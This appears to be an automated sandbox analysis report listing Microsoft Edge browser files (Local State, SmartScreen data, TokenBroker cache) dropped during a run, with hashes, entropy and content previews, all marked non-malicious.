SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF400f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.019844181649245
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXTTTcR23:YWLSGTt1o9LuLgfGBPAzkVj/T8lbcRu
MD5:	84C2811B38C27D2DACF4F764A4EDC567
SHA1:	861F1F748BDC258365EC5D5C2F441C9B32D21849
SHA-256:	C8D90C579B08BD3F88DDA6B56935E69FE841814F39263916D605E256B73C34DA
SHA-512:	0F445C38659DFFB19145BEF30CCAC04BA99C8A700086BD7411B695BF7B627019D8650B7FE8AF4AC0A71199B889E789FCEA3267B37E2D1541E685BFF66A47967C
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732316319484851}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c407173f-928a-46c9-8c0b-2cb14b67a550.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46094
Entropy (8bit):	6.086894761810905
Encrypted:	false
SSDEEP:	768:6MkbJrT8IeQcrQgxXF2JLmZ1e45ne0GaDPEO3xIAB3lWC1oMwWE7RTupzKscDX/E:6Mk1rT8HRXhvhTWIoMoRTui8
MD5:	E25A89864DB63AC10F42C9199F67CFDC
SHA1:	581E9FF6D4C748C4BB47B465AA9B664692565CD4
SHA-256:	D5E40A51FEB9581F56A720404DB033668081E73EDCFF86A89D68F6141FB95E42
SHA-512:	5452D0B3E59AE73354E40A418DC83DB52EA6D28D83C94C7B93ACAB0CB51C224CC82582C4BD06268E7FEDBEC3BDDF76CB3481BF97DC4A6D3310C2F3A26C074FCE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b7b76c7f-9a45-43d6-9c5e-d2540604b4b9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732215519"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d95f59a0-268c-4b1f-88e9-6c7e4516ff6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44629
Entropy (8bit):	6.0951027832090565
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kuQLmZ1eG4V1qY7qDrzKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynabKoRTuiVIos
MD5:	6DAC46EA0A2F84136A9916D4CECCFBDC
SHA1:	D573B3E6C22CF009186B5B6577F1C066FD543EA0
SHA-256:	7F6AA755D598E8E4875424C5E40EE26F6272141B21CA66485A67EEDD1A1FD845
SHA-512:	6BE219F82296ACD2C0D2622DD527408D576DA6473CD95CC6227984A1128E9BFF9165854B76062E5E7A1A39BF5CE5DA621ABE3CB1671CD9352791BFCFBDB01A03
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e78479a2-e45b-43f3-b55f-9e4416ba0827.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.832862055170876
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx/xl9Il8uN0KqUzzPBwWFIOHTGyiSDd1rc:mGYx5P5PyItk
MD5:	7A77EBD9D3E8E3CF372E8B1AFCDC14F6
SHA1:	E4081A86946991A1C7665A1C2497C73A5AC4C2D6
SHA-256:	7FA11C385A64C7C0FD440737EA72F6AA7B599F0CDC06E6AE50B945BCAE71205F
SHA-512:	82A71BA7731033536C11AE2B6886AB81699DBFB8E6F6F2E9DAD93EA27B6E7C7BA452796A73565E476CEB547059D7B21D0B7EA72C52A0F6C05C96DAA8DFCCF570
Malicious:	false
